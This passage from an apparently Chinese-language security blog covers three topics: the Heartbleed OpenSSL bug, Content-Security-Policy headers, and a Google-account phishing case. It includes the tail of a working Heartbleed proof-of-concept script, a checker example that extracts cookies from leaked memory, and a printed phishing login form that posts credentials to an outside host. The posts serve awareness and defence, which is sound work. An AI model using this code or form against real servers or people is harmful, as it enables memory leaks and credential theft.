class="n">select</span><span class="p">.</span><span class="n">select</span><span class="p">([</span><span class="n">s</span><span class="p">],</span> <span class="p">[],</span> <span class="p">[],</span> <span class="mi">5</span><span class="p">)</span> <span class="k">if</span> <span class="n">s</span> <span class="ow">in</span> <span class="n">r</span><span class="p">:</span> <span class="n">data</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="n">remain</span><span class="p">)</span> <span class="c1"># EOF? </span> <span class="k">if</span> <span class="ow">not</span> <span class="n">data</span><span class="p">:</span> <span class="k">return</span> <span class="bp">None</span> <span class="n">rdata</span> <span class="o">+=</span> <span class="n">data</span> <span class="n">remain</span> <span class="o">-=</span> <span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> <span class="k">return</span> <span class="n">rdata</span> <span class="k">def</span> <span class="nf">recvmsg</span><span class="p">(</span><span class="n">s</span><span class="p">):</span> <span class="n">hdr</span> <span class="o">=</span> <span class="n">recvall</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="mi">5</span><span class="p">)</span> <span class="k">if</span> <span class="n">hdr</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span> <span class="k">print</span> <span class="s">'Unexpected EOF receiving record header - server closed connection'</span> <span class="k">return</span> <span class="bp">None</span><span class="p">,</span> <span class="bp">None</span><span class="p">,</span> <span class="bp">None</span> <span class="n">typ</span><span class="p">,</span> <span class="n">ver</span><span class="p">,</span> <span class="n">ln</span> <span class="o">=</span> <span class="n">struct</span><span class="p">.</span><span class="n">unpack</span><span class="p">(</span><span class="s">'&gt;BHH'</span><span class="p">,</span> <span class="n">hdr</span><span class="p">)</span> <span class="n">pay</span> <span class="o">=</span> <span class="n">recvall</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="n">ln</span><span class="p">,</span> <span class="mi">10</span><span class="p">)</span> <span class="k">if</span> <span class="n">pay</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span> <span class="k">print</span> <span class="s">'Unexpected EOF receiving record payload - server closed connection'</span> <span class="k">return</span> <span class="bp">None</span><span class="p">,</span> <span class="bp">None</span><span class="p">,</span> <span class="bp">None</span> <span class="k">print</span> <span class="s">' ... received message: type = %d, ver = %04x, length = %d'</span> <span class="o">%</span> <span class="p">(</span><span class="n">typ</span><span class="p">,</span> <span class="n">ver</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">pay</span><span class="p">))</span> <span class="k">return</span> <span class="n">typ</span><span class="p">,</span> <span class="n">ver</span><span class="p">,</span> <span class="n">pay</span> <span class="k">def</span> <span class="nf">hit_hb</span><span class="p">(</span><span class="n">s</span><span class="p">):</span> <span class="n">s</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">hb</span><span class="p">)</span> <span class="k">while</span> <span class="bp">True</span><span class="p">:</span> <span class="n">typ</span><span class="p">,</span> <span class="n">ver</span><span class="p">,</span> <span class="n">pay</span> <span class="o">=</span> <span class="n">recvmsg</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> <span class="k">if</span> <span class="n">typ</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span> <span class="k">print</span> <span class="s">'No heartbeat response received, server likely not vulnerable'</span> <span class="k">return</span> <span class="bp">False</span> <span class="k">if</span> <span class="n">typ</span> <span class="o">==</span> <span class="mi">24</span><span class="p">:</span> <span class="k">print</span> <span class="s">'Received heartbeat response:'</span> <span class="n">hexdump</span><span class="p">(</span><span class="n">pay</span><span class="p">)</span> <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">pay</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">3</span><span class="p">:</span> <span class="k">print</span> <span class="s">'WARNING: server returned more data than it should - server is vulnerable!'</span> <span class="k">else</span><span class="p">:</span> <span class="k">print</span> <span class="s">'Server processed malformed heartbeat, but did not return any extra data.'</span> <span class="k">return</span> <span class="bp">True</span> <span class="k">if</span> <span class="n">typ</span> <span class="o">==</span> <span class="mi">21</span><span class="p">:</span> <span class="k">print</span> <span class="s">'Received alert:'</span> <span class="n">hexdump</span><span class="p">(</span><span class="n">pay</span><span class="p">)</span> <span class="k">print</span> <span class="s">'Server returned error, likely not vulnerable'</span> <span class="k">return</span> <span class="bp">False</span> <span class="k">def</span> <span class="nf">main</span><span class="p">():</span> <span class="n">opts</span><span class="p">,</span> <span class="n">args</span> <span class="o">=</span> <span class="n">options</span><span class="p">.</span><span class="n">parse_args</span><span class="p">()</span> <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">args</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">1</span><span class="p">:</span> <span class="n">options</span><span class="p">.</span><span class="n">print_help</span><span class="p">()</span> <span class="k">return</span> <span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span> <span class="k">print</span> <span class="s">'Connecting...'</span> <span class="n">sys</span><span class="p">.</span><span class="n">stdout</span><span class="p">.</span><span class="n">flush</span><span class="p">()</span> <span class="n">s</span><span class="p">.</span><span class="n">connect</span><span class="p">((</span><span class="n">args</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="n">opts</span><span class="p">.</span><span class="n">port</span><span class="p">))</span> <span class="k">print</span> <span class="s">'Sending Client Hello...'</span> <span class="n">sys</span><span class="p">.</span><span class="n">stdout</span><span class="p">.</span><span class="n">flush</span><span class="p">()</span> <span class="n">s</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">hello</span><span class="p">)</span> <span class="k">print</span> <span class="s">'Waiting for Server Hello...'</span> <span class="n">sys</span><span class="p">.</span><span class="n">stdout</span><span class="p">.</span><span class="n">flush</span><span class="p">()</span> <span class="k">while</span> <span class="bp">True</span><span class="p">:</span> <span class="n">typ</span><span class="p">,</span> <span class="n">ver</span><span class="p">,</span> <span class="n">pay</span> <span class="o">=</span> <span class="n">recvmsg</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> <span class="k">if</span> <span class="n">typ</span> <span class="o">==</span> <span class="bp">None</span><span class="p">:</span> <span class="k">print</span> <span class="s">'Server closed connection without sending Server Hello.'</span> <span class="k">return</span> <span class="c1"># Look for server hello done message. </span> <span class="k">if</span> <span class="n">typ</span> <span class="o">==</span> <span class="mi">22</span> <span class="ow">and</span> <span class="nb">ord</span><span class="p">(</span><span class="n">pay</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="o">==</span> <span class="mh">0x0E</span><span class="p">:</span> <span class="k">break</span> <span class="k">print</span> <span class="s">'Sending heartbeat request...'</span> <span class="n">sys</span><span class="p">.</span><span class="n">stdout</span><span class="p">.</span><span class="n">flush</span><span class="p">()</span> <span class="n">s</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">hb</span><span class="p">)</span> <span class="n">hit_hb</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> <span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span> <span class="n">main</span><span class="p">()</span></code></pre></figure> <ul> <li>自我測試工具 <a href="https://github.com/noxxi/p5-scripts/blob/master/check-ssl-heartbleed.pl">https://github.com/noxxi/p5-scripts/blob/master/check-ssl-heartbleed.pl</a></li> </ul> <p>使用方法直接執行「perl check-ssl-heartbleed.pl mail.XXXXXX.gov.tw:443」,可在網域名稱後指定特定 SSL 連接埠。</p> <p>使用說明:</p> <figure class="highlight"><pre><code class="language-console" data-lang="console"><span class="go">Check if server is vulnerable against heartbleet SSL attack (CVE-2014-0160) Usage: check-ssl-heartbleed.pl [ --starttls proto[:arg] ] [ --timeout T ] host:port --starttls proto[:arg] - start plain and upgrade to SSL with starttls protocol (imap,smtp,http,pop) -T|--timeout T - use timeout (default 5) -H|--heartbeats N - number of heartbeats (default 1) -s|--show-data [L] - show heartbeat response if vulnerable, optional parameter L specifies number of bytes per line (16) -R|--show-regex-data R - show data matching perl regex R. Option can be used multiple times -q|--quiet - don't show anything, exit 1 if vulnerable -h|--help - this screen Examples: </span><span class="gp"> #</span><span class="w"> </span>check direct www, imaps .. server <span class="go"> check-ssl-heartbleed.pl www.google.com:443 check-ssl-heartbleed.pl www.google.com:https check-ssl-heartbleed.pl mail.google.com:imaps </span><span class="gp"> #</span><span class="w"> </span>try to get Cookies <span class="go"> check-ssl-heartbleed.pl -R 'Cookie:.*' www.broken-site.com:443 </span><span class="gp"> #</span><span class="w"> </span>check webserver via proxy <span class="go"> check-ssl-heartbleed.pl --starttls http:www.google.com:443 proxy:8000 </span><span class="gp"> #</span><span class="w"> </span>check imap server, start with plain and upgrade <span class="go"> check-ssl-heartbleed.pl --starttls imap imap.gmx.net:143 </span><span class="gp"> #</span><span class="w"> </span>check pop server, start with plain and upgrade <span class="go"> check-ssl-heartbleed.pl --starttls pop pop.gmx.net:110 </span><span class="gp"> #</span><span class="w"> </span>check smtp server, start with plain and upgrade <span class="go"> check-ssl-heartbleed.pl --starttls smtp smtp.gmail.com:587 </span></code></pre></figure> <h3 id="應對措施">應對措施</h3> <p>如果發現自己的伺服器有這樣的漏洞,該怎麼辦呢?</p> <ol> <li>確認自己的 OpenSSL 版本是否在受害範圍</li> <li>使用 ssltest.py 檢測工具檢測是否含有漏洞</li> <li>更新 OpenSSL 至 1.0.1g 或 1.0.2-beta2</li> <li>重開所有與 OpenSSL 函式庫相關之服務</li> <li>重新產生 SSL Private Key (因為 Private Key 可能藉由漏洞外洩)</li> <li>將網站舊憑證撤銷</li> <li>清除所有目前網頁伺服器上的 Session (因為可能遭到竊取)</li> <li>必要時更換網站內使用者密碼,或是密切追蹤網站是否有帳號盜用的情況發生</li> </ol> <p>詳細討論與建議可以參考 Heartbleed: What is it and what are options to mitigate it? <a href="http://serverfault.com/questions/587329/heartbleed-what-is-it-and-what-are-options-to-mitigate-it">http://serverfault.com/questions/587329/heartbleed-what-is-it-and-what-are-options-to-mitigate-it</a></p> <h3 id="誰會是目標呢">誰會是目標呢?</h3> <p>真的會有攻擊者利用這樣的攻擊手法嗎?目前在<a href="http://wooyun.org">烏雲 wooyun</a>平台上已經滿滿的資安研究員開始回報網站含有 OpenSSL 漏洞。也有駭客在嘗試撰寫更有效的攻擊利用程式,想要藉此把平常打不下來的網站一舉攻陷。</p> <p>怎樣的站台會是重點目標呢?含有會員機制的網站特別如此,例如 Web Mail、社群網站等等。因此不少企業要多注意了,例如全世界最大的社群網站 Facebook、SlideShare、台灣知名電信公司網站、社交平台、網路銀行、NAS,都會在這波的攻擊範圍之內。如果沒有儘速修復,等到更有效的攻擊程式出現,就真的等著失血了。</p> <h3 id="小結">小結</h3> <p>就連 OpenSSL 這種歷史悠久而且重要的函式庫,都可能犯這種基本的 C 語言程式設計錯誤,老舊的程式碼一定有不少陳年遺毒,如果沒有徹底清查,類似的心臟噴血事件會不斷上演。大家快點止血吧!</p> https://devco.re/blog/2014/04/09/openssl-heartbleed-CVE-2014-0160/ https://devco.re/blog/2014/04/09/openssl-heartbleed-CVE-2014-0160 Wed, 09 Apr 2014 00:00:00 +0800 Content-Security-Policy - HTTP Headers 的資安議題 (2) <h3 id="content-security-policy">Content-Security-Policy</h3> <p>還記得在上一篇 <a href="http://devco.re/blog/2014/03/10/security-issues-of-http-headers-1/">HTTP headers 的資安議題 (1)</a> 文章中,我們提到了多種資安相關的 HTTP headers 嗎?接下來的幾篇文章我們會介紹幾個專門對付 XSS 的 HTTP headers,首先就由 Content-Security-Policy 打頭陣。</p> <p><a href="https://www.owasp.org/index.php/Content_Security_Policy">Content-Security-Policy</a>(以下簡稱 CSP)是從 2010 年被提出來的一項 Web 規格,主要目的是用來防止 Cross-Site Scripting(以下簡稱 XSS)跟網頁樣式置換(例如<a href="https://web.archive.org/web/20140321184408/http://udn.com:80/NEWS/NATIONAL/NAT5/8554327.shtml">科技部被惡搞</a>就是一個最好的例子)。經過五年發展,CSP 1.0 已從 W3C 的 TR (Technical Report) 變成 <a href="http://www.w3.org/TR/CSP/">Candidate Recommendation</a>,應該不久就會將成為 W3C 推薦標準。新的 <a href="http://w3c.github.io/webappsec/specs/content-security-policy/csp-specification.dev.html">CSP 1.1</a> 則仍在草案階段。</p> <p>CSP 家族龐大,總共有三個類別,六個項目:</p> <ul> <li>Content-Security-Policy</li> <li>Content-Security-Policy-Report-Only</li> <li>X-Content-Security-Policy</li> <li>X-Content-Security-Policy-Report-Only</li> <li>X-WebKit-CSP</li> <li>X-WebKit-CSP-Report-Only</li> </ul> <p>在 CSP 發展初期,主流瀏覽器並未全部依照同一標準來開發,因此發展成這三種類別。目前由於 CSP 1.0 即將成為標準,大多數瀏覽器已支援 Content-Security-Policy 這個類別,因此狀況已逐漸收斂。主流瀏覽器的支援列表如下圖:</p> <p><a href="/assets/img/blog/20140408/csp-browser-support-list.png" title="Content-Security-Policy 瀏覽器支援列表"><img src="/assets/img/blog/20140408/csp-browser-support-list.png" alt="Content-Security-Policy 瀏覽器支援列表" title="Content-Security-Policy 瀏覽器支援列表" /></a></p> <p>從列表中可看到,只要使用 Content-Security-Policy 與 X-Content-Security-Policy 就已有很高的覆蓋率,除非要支援 Safari 6,否則不用特意使用 X-WebKit-CSP。更詳細的瀏覽器支援列表可參考 <a href="http://caniuse.com/contentsecuritypolicy">Can I use</a>。</p> <!-- more --> <h3 id="csp-10-主要作用">CSP 1.0 主要作用</h3> <ul> <li> <p>載入來源白名單</p> <p>宣告一組受信任的白名單與資源種類(如 JavaScript, CSS, image 等等),使瀏覽器只能從此白名單中載入資源,藉此防止攻擊者從外部引入含有惡意程式碼的資源。</p> <p>例:Content-Security-Policy: default-src ‘self’; script-src ‘self’ http://js.devco.re; style-src ‘self’ http://css.devco.re; img-src ‘self’ data:; frame-src ‘none’</p> <p>效果:限定 script 資源只能從 http://js.devco.re 載入;限定 style 資源只能從 http://css.devco.re 載入;限定 img 只能從相同 domain 載入,並且支援 data scheme;限定 frame 不能從任何來源載入;除了 script、style、img、frame 之外的資源,則只能從同樣 domain 以及同樣協定的來源載入。</p> </li> <li> <p>禁止 inline 程式碼</p> <p>一般人開發網站時為求便利,經常會在 HTML 中寫入一些 inline 程式碼,但攻擊者意圖入侵網站時也常用此手法。然而瀏覽器其實無法分辨這些 inline 程式碼究竟是開發人員寫的,還是攻擊者植入的。因此 CSP 乾脆強迫開發者必須把所有 inline 程式碼移到外部檔案,完全杜絕在 HTML 中出現 inline 程式碼的狀況。因此除非你在 CSP 宣告時有註明 ‘unsafe-inline’,否則 CSP 預設禁止使用 inline script 或 inline CSS。</p> <p>例:Content-Security-Policy: default-src ‘self’; script-src ‘unsafe-inline’</p> </li> <li> <p>禁止 eval 函式</p> <p>eval() 對許多開發者來說一直是個非常方便的函式,然而若缺乏資安觀念,使用此函式時很可能會導致潛在的 XSS 風險。因此除非你在 CSP 宣告時有註明 ‘unsafe-eval’,否則 CSP 預設禁止使用 eval() 函式。</p> <p>例:Content-Security-Policy: default-src ‘self’; script-src ‘unsafe-eval’</p> </li> <li> <p>防止 sniffer</p> <p>由於 CSP 可指定載入資源時強制使用 https 協定,因此可降低被 sniffing 的機率。</p> <p>例:Content-Security-Policy: default-src http://devco.re; img-src https:</p> <p>效果:限定圖片只能從 https 協定載入,不限定 domain。而除了圖片之外的資源則可從任意來源載入。</p> </li> </ul> <h3 id="csp-demo">CSP Demo</h3> <p>下面這一段程式碼,使用 default-src * 讓相關資源可正常顯示:</p> <figure class="highlight"><pre><code class="language-php" data-lang="php"><span class="cp">&lt;?php</span> <span class="nb">header</span><span class="p">(</span><span class="s2">"Content-Security-Policy: default-src *"</span><span class="p">);</span> <span class="cp">?&gt;</span> <span class="nt">&lt;html&gt;</span> <span class="nt">&lt;head&gt;</span> <span class="nt">&lt;title&gt;</span>CSP Demo Site<span class="nt">&lt;/title&gt;</span> <span class="nt">&lt;/head&gt;</span> <span class="nt">&lt;body&gt;</span> <span class="nt">&lt;h3&gt;</span>Content Security Policy Demo Site<span class="nt">&lt;/h3&gt;</span> <span class="nt">&lt;img</span> <span class="na">width=</span><span class="s">"200"</span> <span class="na">height=</span><span class="s">"200"</span> <span class="na">src=</span><span class="s">"http://devco.re/assets/themes/devcore/images/double-sticker.png"</span><span class="nt">&gt;&lt;/img&gt;</span> <span class="nt">&lt;iframe</span> <span class="na">frameborder=</span><span class="s">'0'</span> <span class="na">width=</span><span class="s">'300'</span> <span class="na">height=</span><span class="s">'200'</span> <span class="na">src=</span><span class="s">'http://www.youtube.com/embed/E-BGf1MwecU'</span><span class="nt">&gt;&lt;/iframe&gt;</span> <span class="nt">&lt;/body&gt;</span> <span class="nt">&lt;/html&gt;</span></code></pre></figure> <p><a href="/assets/img/blog/20140408/csp-demo-1.png" title="使用最寬鬆的 Content-Security-Policy 規則"><img src="/assets/img/blog/20140408/csp-demo-1.png" alt="使用最寬鬆的 Content-Security-Policy 規則" title="使用最寬鬆的 Content-Security-Policy 規則" /></a></p> <p>接下來我們將 php header 的那一行程式碼修改如下並且 reload 瀏覽器頁面:</p> <figure class="highlight"><pre><code class="language-php" data-lang="php"><span class="cp">&lt;?php</span> <span class="nb">header</span><span class="p">(</span><span class="s2">"Content-Security-Policy: default-src *; img-src https:; frame-src 'none'"</span><span class="p">);</span> <span class="cp">?&gt;</span></code></pre></figure> <p><a href="/assets/img/blog/20140408/csp-demo-2.png" title="使用 Content-Security-Policy 限制 img 與 frame 的來源"><img src="/assets/img/blog/20140408/csp-demo-2.png" alt="使用 Content-Security-Policy 限制 img 與 frame 的來源" title="使用 Content-Security-Policy 限制 img 與 frame 的來源" /></a></p> <p>使用 CSP 限制 img 與 frame 的來源種類後,我們可以從上圖 Chrome Inspector 的紅字觀察到,網站的圖片與 iframe 影片已被瀏覽器擋掉,無法載入。</p> <p>如果擔心直接使用 CSP 會影響網站營運,但又想嘗試 CSP,可以先使用 Content-Security-Policy-Report-Only,示範如下:</p> <figure class="highlight"><pre><code class="language-php" data-lang="php"><span class="cp">&lt;?php</span> <span class="nb">header</span><span class="p">(</span><span class="s2">"Content-Security-Policy-Report-Only: default-src *; img-src https:; frame-src 'none'; report-uri http://devco.re/demo"</span><span class="p">);</span> <span class="cp">?&gt;</span></code></pre></figure> <p><a href="/assets/img/blog/20140408/csp-demo-report-only.png" title="Content-Security-Policy-Report-Only"><img src="/assets/img/blog/20140408/csp-demo-report-only.png" alt="Content-Security-Policy-Report-Only" title="Content-Security-Policy-Report-Only" /></a></p> <p>由上圖可以看到,此 header 不會直接阻擋不符合 CSP 規範的資源,但是會根據使用者所違反的規則發送相對應的 POST request 至指定的 URI,發送內容如下:</p> <figure class="highlight"><pre><code class="language-json" data-lang="json"><span class="p">{</span><span class="w"> </span><span class="nl">"csp-report"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nl">"blocked-uri"</span><span class="p">:</span><span class="s2">"http://devco.re/"</span><span class="p">,</span><span class="w"> </span><span class="nl">"document-uri"</span><span class="p">:</span><span class="s2">"http://yoursite.com/csp.php"</span><span class="p">,</span><span class="w"> </span><span class="nl">"original-policy"</span><span class="p">:</span><span class="s2">"default-src *; img-src https:; frame-src 'none'; report-uri http://devco.re/demo"</span><span class="p">,</span><span class="w"> </span><span class="nl">"referrer"</span><span class="p">:</span><span class="s2">""</span><span class="p">,</span><span class="w"> </span><span class="nl">"status-code"</span><span class="p">:</span><span class="mi">200</span><span class="p">,</span><span class="w"> </span><span class="nl">"violated-directive"</span><span class="p">:</span><span class="s2">"img-src https:"</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">}</span></code></pre></figure> <p>由發送內容可看出這個 request 因為違反了「img-src https:」規則而將「http://devco.re/」這個來源擋掉。經由此方式,可一邊修改網站一邊觀察是否仍有不符合 CSP 規範之處,等到所有違規的內容都修正完畢後,再將 CSP 套用到正式上線環境。</p> <p>由於宣告方式非常多種,在這邊就不一一條列,若有興趣可前往 <a href="https://content-security-policy.com/">Content Security Policy Reference &amp; Examples</a>、<a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP">Using Content Security Policy - Security | MDN</a> 等網頁,有更完整的使用情境與範例可供參考。另外也有 <a href="http://benvinegar.github.io/csp-talk-2013/">Slide</a> (by Ben Vinegar) 跟 <a href="https://www.youtube.com/watch?v=pocsv39pNXA">YouTube 影片</a> (by Adam Barth) 可參考。</p> <h3 id="csp-實際使用案例">CSP 實際使用案例</h3> <p>目前採用 CSP 的案例較少,比較知名的使用案例是 <a href="https://github.com/">GitHub</a>,在 2013 年 4 月 <a href="https://github.com/blog/1477-content-security-policy">GitHub 還寫了一篇專文</a>公告表示他們已開始採用 CSP。另外一個案例廠商可能較廣為人知,是在 2013 年當紅的免費儲存空間 <a href="https://mega.co.nz/">MEGA</a>。兩個案例的實際內容可見於下圖:</p> <p><a href="/assets/img/blog/20140408/http-headers-github-and-mega.jpg" title="GitHub 與 MEGA 使用 CSP 後的 HTTP response"><img src="/assets/img/blog/20140408/http-headers-github-and-mega.jpg" alt="GitHub 與 MEGA 使用 CSP 後的 HTTP response" title="GitHub 與 MEGA 使用 CSP 後的 HTTP response" /></a></p> <p>另一項知名使用案例是 Google 明定<a href="https://developer.chrome.com/extensions/contentSecurityPolicy">開發 Chrome Extension 時必須使用 CSP</a>,以追求更高的安全性。Mozilla 也在 <a href="https://wiki.mozilla.org/Security/CSP/Specification">MozillaWiki 開了一頁</a>存放相關技術細節。若您想觀察其他使用案例,可使用 Chrome Inspector 或 curl 觀察以下幾個網站:<a href="https://lastpass.com/">LastPass</a>,<a href="https://twitter.com/">Twitter</a>,<a href="https://1password.com/">1Password</a>。</p> <h3 id="csp-常見誤用案例">CSP 常見誤用案例</h3> <ul> <li> <p>directives 後面不需加冒號</p> <p>錯誤:default-src: ‘self’</p> <p>正確:<strong>default-src ‘self’</strong></p> </li> <li> <p>directives 之間以分號區隔</p> <p>錯誤:default-src ‘self’, script-src ‘self’</p> <p>正確:<strong>default-src ‘self’; script-src ‘self’</strong></p> </li> <li> <p>多個 source 之間僅以空白區隔</p> <p>錯誤:default-src ‘self’; img-src ‘self’, img1.devco.re, img2.devco.re</p> <p>正確:<strong>default-src ‘self’; img-src ‘self’ img1.devco.re img2.devco.re</strong></p> </li> <li> <p>某些 source 必須加冒號(https:、data:)</p> <p>錯誤:default-src ‘self’; img-src ‘self’ https data</p> <p>正確:<strong>default-src ‘self’; img-src ‘self’ https: data:</strong></p> </li> <li> <p>某些 source 必須用單引號括起來(’none’、’self’、’unsafe-inline’、’unsafe-eval’)</p> <p>錯誤:script-src self unsafe-inline unsafe-eval</p> <p>正確:<strong>script-src ‘self’ ‘unsafe-inline’ ‘unsafe-eval’</strong></p> </li> </ul> <h3 id="結論">結論</h3> <p>使用 CSP 可以有效提升攻擊難度,讓許多常見的 XSS 攻擊失效,是一個非常推薦開發者使用的 HTTP header。但由於目前的開發者在 HTML 裡面寫 inline script 及 inline CSS 的比例非常高,同時也有一些網路服務預設都需要使用 inline script(例如 Google Analytics,相關解法可參考<a href="http://stackoverflow.com/questions/3870345/new-google-analytics-code-into-external-file">這裡</a>),因此要享受這樣的安全之前,可能需要先付出許多時間與心力將網站大幅整理,套用 CSP 規範後網頁才能正常運作。</p> https://devco.re/blog/2014/04/08/security-issues-of-http-headers-2-content-security-policy/ https://devco.re/blog/2014/04/08/security-issues-of-http-headers-2-content-security-policy Tue, 08 Apr 2014 00:00:00 +0800 Google 帳號釣魚案例 <p>最近身邊的朋友不斷的收到 Gmail 中 Google 的警告:</p> <p><img src="/assets/img/blog/20140331/2014-03-31-Google-Account-Phishing-Scam-01.png" alt="Gmail state-sponsored attacker warning" title="Gmail state-sponsored attacker warning" /></p> <p><img src="/assets/img/blog/20140331/2014-03-31-Google-Account-Phishing-Scam-03.png" alt="Gmail 國家資助的攻擊者警告" title="Gmail 國家資助的攻擊者警告" /></p> <p>駭客間的戰爭已經不只是個人對個人,而已經擴大成國家對國家。一個國家為了獲取他國的機密文件、情報、個人資料等,都會想盡各種辦法入侵帳號、寄送惡意郵件、釣魚盜取密碼等。而身為受害者的我們能做什麼呢?Google 官方提出的建議是:加強密碼安全、注意登入 IP 位址、更新自己使用的軟體、<a href="https://support.google.com/accounts/answer/180744?hl=zh-Hant">開啟二階段驗證</a>。當然有良好的資安意識才是更重要的。</p> <p>正好今天收到一個簡單的案例,提供給各位參考。</p> <!-- more --> <p>在信箱中躺著一封很像是國外客戶的信件「Company Profile / Order Details」。內容看起來也很正常,並且附上了公司的基本資料為附加檔案。</p> <p><img src="/assets/img/blog/20140331/2014-03-31-Google-Account-Phishing-Scam-04.png" alt="釣魚信件" title="釣魚信件" /></p> <p>點開附件,會發現畫面先跳了 JavaScript 警告視窗後,隨即導向到 Google 登入頁面。</p> <p>注意看,這個登入頁面是真的嗎?有沒有發現畫面上的「Stay signed in」前面的勾變成方框了?瀏覽器上的網址也是在本機的位址。想想看,怎麼可能點了附件之後,跳轉到 Google 登入畫面?</p> <p><img src="/assets/img/blog/20140331/2014-03-31-Google-Account-Phishing-Scam-05.png" alt="釣魚信件附件假冒 Google 登入" title="釣魚信件附件假冒 Google 登入" /></p> <p>讓我們看一下原始碼,會發現他的 form 被改成一個奇怪的網址,看起來就是惡意網站。其餘網頁的部份都是從 Google 真實的登入頁面抓取下來修改的。因此只要一不注意,就會以為是真的 Google 登入畫面而輸入帳號密碼。</p> <p><a href="/assets/img/blog/20140331/2014-03-31-Google-Account-Phishing-Scam-06.png"><img src="/assets/img/blog/20140331/2014-03-31-Google-Account-Phishing-Scam-06.png" alt="釣魚信件原始碼" title="釣魚信件原始碼" /></a></p> <p>節錄部分 code 如下:</p> <figure class="highlight"><pre><code class="language-html" data-lang="html"> <span class="nt">&lt;form</span> <span class="na">novalidate=</span><span class="s">""</span> <span class="na">method=</span><span class="s">"post"</span> <span class="na">action=</span><span class="s">"http://cantonfair.a78.org/yahoo/post.php"</span> <span class="na">id=</span><span class="s">"gaia_loginform"</span><span class="nt">&gt;</span> <span class="nt">&lt;input</span> <span class="na">name=</span><span class="s">"GALX"</span> <span class="na">value=</span><span class="s">"6UMbQQmFgwI"</span> <span class="na">type=</span><span class="s">"hidden"</span><span class="nt">&gt;</span> <span class="nt">&lt;input</span> <span class="na">name=</span><span class="s">"continue"</span> <span class="na">value=</span><span class="s">"http://mail.google.com/mail/"</span> <span class="na">type=</span><span class="s">"hidden"</span><span class="nt">&gt;</span> <span class="nt">&lt;input</span> <span class="na">name=</span><span class="s">"service"</span> <span class="na">value=</span><span class="s">"mail"</span> <span class="na">type=</span><span class="s">"hidden"</span><span class="nt">&gt;</span> <span class="nt">&lt;input</span> <span class="na">name=</span><span class="s">"hl"</span> <span class="na">value=</span><span class="s">"en"</span> <span class="na">type=</span><span class="s">"hidden"</span><span class="nt">&gt;</span> <span class="nt">&lt;input</span> <span class="na">name=</span><span class="s">"scc"</span> <span class="na">value=</span><span class="s">"1"</span> <span class="na">type=</span><span class="s">"hidden"</span><span class="nt">&gt;</span> <span class="nt">&lt;input</span> <span class="na">name=</span><span class="s">"sacu"</span> <span class="na">value=</span><span class="s">"1"</span> <span class="na">type=</span><span class="s">"hidden"</span><span class="nt">&gt;</span> <span class="nt">&lt;input</span> <span class="na">id=</span><span class="s">"_utf8"</span> <span class="na">name=</span><span class="s">"_utf8"</span> <span class="na">value=</span><span class="s">"☃"</span> <span class="na">type=</span><span class="s">"hidden"</span><span class="nt">&gt;</span> <span class="nt">&lt;input</span> <span class="na">name=</span><span class="s">"bgresponse"</span> <span class="na">id=</span><span class="s">"bgresponse"</span> <span class="na">value=</span><span class="s">"js_disabled"</span> <span class="na">type=</span><span class="s">"hidden"</span><span class="nt">&gt;</span> <span class="nt">&lt;input</span> <span class="na">id=</span><span class="s">"pstMsg"</span> <span class="na">name=</span><span class="s">"pstMsg"</span> <span class="na">value=</span><span class="s">"1"</span> <span class="na">type=</span><span class="s">"hidden"</span><span class="nt">&gt;</span> <span class="nt">&lt;input</span> <span class="na">id=</span><span class="s">"dnConn"</span> <span class="na">name=</span><span class="s">"dnConn"</span> <span class="na">value=</span><span class="s">""</span> <span class="na">type=</span><span class="s">"hidden"</span><span class="nt">&gt;</span> <span class="nt">&lt;input</span> <span class="na">id=</span><span class="s">"checkConnection"</span> <span class="na">name=</span><span class="s">"checkConnection"</span> <span class="na">value=</span><span class="s">"youtube:424:1"</span> <span class="na">type=</span><span class="s">"hidden"</span><span class="nt">&gt;</span> <span class="nt">&lt;input</span> <span class="na">id=</span><span class="s">"checkedDomains"</span> <span class="na">name=</span><span class="s">"checkedDomains"</span> <span class="na">value=</span><span class="s">"youtube"</span> <span class="na">type=</span><span class="s">"hidden"</span><span class="nt">&gt;</span> <span class="nt">&lt;label</span> <span class="na">class=</span><span class="s">"hidden-label"</span> <span class="na">for=</span><span class="s">"Email"</span><span class="nt">&gt;</span>Email<span class="nt">&lt;/label&gt;</span> <span class="nt">&lt;input</span> <span class="na">id=</span><span class="s">"Email"</span> <span class="na">name=</span><span class="s">"Email"</span> <span class="na">placeholder=</span><span class="s">"Email"</span> <span class="na">spellcheck=</span><span class="s">"false"</span> <span class="na">class=</span><span class="s">""</span> <span class="na">type=</span><span class="s">"email"</span><span class="nt">&gt;</span> <span class="nt">&lt;label</span> <span class="na">class=</span><span class="s">"hidden-label"</span> <span class="na">for=</span><span class="s">"Passwd"</span><span class="nt">&gt;</span>Password<span class="nt">&lt;/label&gt;</span> <span class="nt">&lt;input</span> <span class="na">id=</span><span class="s">"Passwd"</span> <span class="na">name=</span><span class="s">"Passwd"</span> <span 